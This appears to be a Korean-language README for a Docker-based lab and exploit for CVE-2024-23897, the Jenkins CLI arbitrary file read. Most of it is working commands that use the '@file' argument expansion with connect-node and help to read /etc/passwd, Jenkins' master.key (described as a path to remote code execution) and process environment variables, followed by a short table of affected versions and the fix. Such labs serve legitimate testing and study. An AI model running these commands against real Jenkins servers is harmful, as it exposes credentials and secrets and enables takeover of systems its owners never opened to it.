
Docker 기반 랩 및 CVE-2024-23897용 익스플로잇 스크립트로, args4j expandAtFiles를 통한 Jenkins CLI의 치명적인 임의 파일 읽기 취약점을 다루며, RCE로 체이닝하는 단계를 포함합니다.
# 1. Start lab
docker-compose up -d
# 2. Wait ~30s, then download CLI tool
curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar
# 3. Exploit — read /etc/passwd (full file)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd
# 4. Read master.key (chain to RCE)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key
# 5. Read environment variables
java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ
전체 기술 분석(베트남어)은 REPORT.md를 참조하세요.
| 항목 | 값 |
|---|
| CVSS | 9.8 (치명적) |
| 영향받는 버전 | Jenkins <= 2.441, LTS <= 2.426.2 |
| 랩 버전 | jenkins/jenkins:2.426.2-lts |
| 근본 원인 | 서버 측 CLI에서 args4j expandAtFiles 활성화됨 |
| 수정 | Jenkins >= 2.442 / LTS >= 2.426.3으로 업그레이드 |
docker-compose down -v --remove-orphans